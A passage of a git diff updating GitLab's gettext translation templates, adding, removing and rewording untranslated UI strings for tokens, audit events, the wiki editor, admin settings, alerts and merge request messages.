msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/sr_CS/gitlab.po b/locale/sr_CS/gitlab.po
index 8e8ee8a8625..9dff4692221 100644
--- a/locale/sr_CS/gitlab.po
+++ b/locale/sr_CS/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: sr-CS\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:31\n"
+"PO-Revision-Date: 2021-07-01 21:14\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -91,6 +88,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -304,12 +304,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -484,6 +478,27 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -529,6 +544,12 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -721,10 +742,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -892,6 +913,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -925,9 +949,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1036,12 +1057,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1072,6 +1087,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1585,9 +1603,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1648,18 +1663,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1864,13 +1870,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1888,16 +1894,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -2017,6 +2023,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -2026,6 +2035,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -2089,6 +2101,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2215,6 +2230,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2449,9 +2467,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2464,19 +2479,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2488,7 +2506,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2497,10 +2515,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2911,9 +2926,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3133,12 +3160,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3265,9 +3298,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3334,6 +3364,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3493,9 +3526,6 @@ msgstr ""
